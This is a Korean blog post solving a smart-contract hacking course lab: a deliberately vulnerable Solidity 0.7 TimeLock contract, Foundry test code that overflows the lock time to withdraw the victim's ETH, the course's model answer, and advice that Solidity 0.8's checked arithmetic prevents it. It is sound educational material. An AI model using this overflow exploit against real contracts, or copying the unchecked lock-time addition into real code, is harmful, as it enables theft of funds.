[SCH] Smart Contract Hacking 8편 - Arithmetic Over/Underflow1

0xDave·2023년 3월 25일
0

Ethereum

목록 보기
100/112
post-thumbnail

Task1


아래 컨트랙트의 취약점을 찾아 victim 계정의 이더를 탈취하면 된다. 0.8 버전 이하라서 Over/Underflow 공격이 가능하다.

// SPDX-License-Identifier: GPL-3.0-or-later 
pragma solidity ^0.7.0;

/**
 * @title TimeLock
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract TimeLock {
    mapping(address => uint) public getBalance;
    mapping(address => uint) public getLocktime;

    constructor() {}

    function depositETH() public payable {
        getBalance[msg.sender] += msg.value;
        getLocktime[msg.sender] = block.timestamp + 30 days;
    }

    function increaseMyLockTime(uint _secondsToIncrease) public {
        // 1234567 
        // MAX_UINT256 (2^256) + 1 - 1234567
        getLocktime[msg.sender] += _secondsToIncrease;
    }

    function withdrawETH() public {

        require(getBalance[msg.sender] > 0);
        require(block.timestamp > getLocktime[msg.sender]);

        uint transferValue = getBalance[msg.sender];
        getBalance[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: transferValue}("");
        require(sent, "Failed to send ETH");
    }
}

친절하게 중간에 주석으로 힌트가 있다. 예치 기간을 맥시멈으로 늘려서 overflow 공격을 하면 될 것 같다. 바로 테스트 코드를 작성해보자.


테스트코드 작성


내가 작성한 테스트 코드는 다음과 같다.

//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma abicoder v2;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/arithmetic-overflows-1/TimeLock.sol";

contract TestA01 is Test{
    address deployer;
    address victim;
    address attacker;
    TimeLock timeLockContract;

    function setUp() public {
        deployer = address(0);
        victim = address(1);
        attacker = address(2);

        vm.deal(victim, 1 ether);
        
        vm.prank(deployer);
        timeLockContract = new TimeLock();

        vm.prank(victim);
        timeLockContract.depositETH{value: 1 ether}();
    }

    function test_attack() public {
        uint256 targetTimeStamp = timeLockContract.getLocktime(address(victim));
        uint256 targetTime = type(uint256).max - targetTimeStamp + 1;

        vm.startPrank(victim);
        timeLockContract.increaseMyLockTime(targetTime);
        timeLockContract.withdrawETH();
        address(attacker).call{value: address(victim).balance}("");
        vm.stopPrank();
        
        assertEq(address(victim).balance, 0);
        assertEq(address(attacker).balance, 1 ether);
    }
}

type(uint256).max를 이용해 맥스값에서 1을 더해주면 overflow 완성!

이제 모범답안을 살펴보자.

contract TestAO1 is Test {
    uint256 public constant VICTIM_DEPOSIT = 100 ether;
    uint256 constant MAX_UINT = 2 ** 256 - 1;

    TimeLock timeLock;

    address deployer;
    address victim;
    address attacker;

    uint256 init_bal_victim;
    uint256 init_bal_attacker;

    function setUp() public {
        deployer = address(1);
        victim = address(2);
        attacker = address(3);

        vm.deal(victim, 1000 ether);
        vm.deal(attacker, 1000 ether);
        init_bal_victim = address(victim).balance;
        init_bal_attacker = address(attacker).balance;

        vm.prank(deployer);
        timeLock = new TimeLock();

        vm.prank(victim);
        timeLock.depositETH{value: VICTIM_DEPOSIT}();

        uint256 curr_bal_victim = address(victim).balance;
        assertEq(curr_bal_victim, init_bal_victim - VICTIM_DEPOSIT);

        uint256 victim_deposited = timeLock.getBalance(victim);
        assertEq(victim_deposited, VICTIM_DEPOSIT);
    }

    function test() public {
        uint256 currLockTime = timeLock.getLocktime(victim);
        uint256 timeToAdd = MAX_UINT - currLockTime + 1;

        vm.startPrank(victim);
        timeLock.increaseMyLockTime(timeToAdd);
        timeLock.withdrawETH();
        (bool success, ) = attacker.call{value: VICTIM_DEPOSIT}("");
        require(success, "Sending balance to atacker failed!!!");
        vm.stopPrank();

        // Timelock contract victim's balance supposed to be 0 (withdrawn successfuly)
        uint256 victim_deposited_after = timeLock.getBalance(victim);
        assertEq(victim_deposited_after, 0);

        // Attacker's should steal successfully the 100 ETH
        uint256 curr_bal_attacker = address(attacker).balance;
        assertEq(curr_bal_attacker, init_bal_attacker + VICTIM_DEPOSIT);
    }
}

initial balance를 미리 설정한 것을 제외하면 거의 비슷하다.

피드백


이러한 취약점을 방지하려면 0.8.0 버전 이상으로 컨트랙트를 작성하면 된다. 하지만 0.8.0 버전에서도 가스를 절약하기 위해 overflow/underflow를 체크하지 않는 unchecked 구간을 만들 수 있기 때문에 해당 구간에서 overflow/underflow가 발생하지 않는지 체크해 볼 필요가 있다.

profile
Just BUIDL :)

0개의 댓글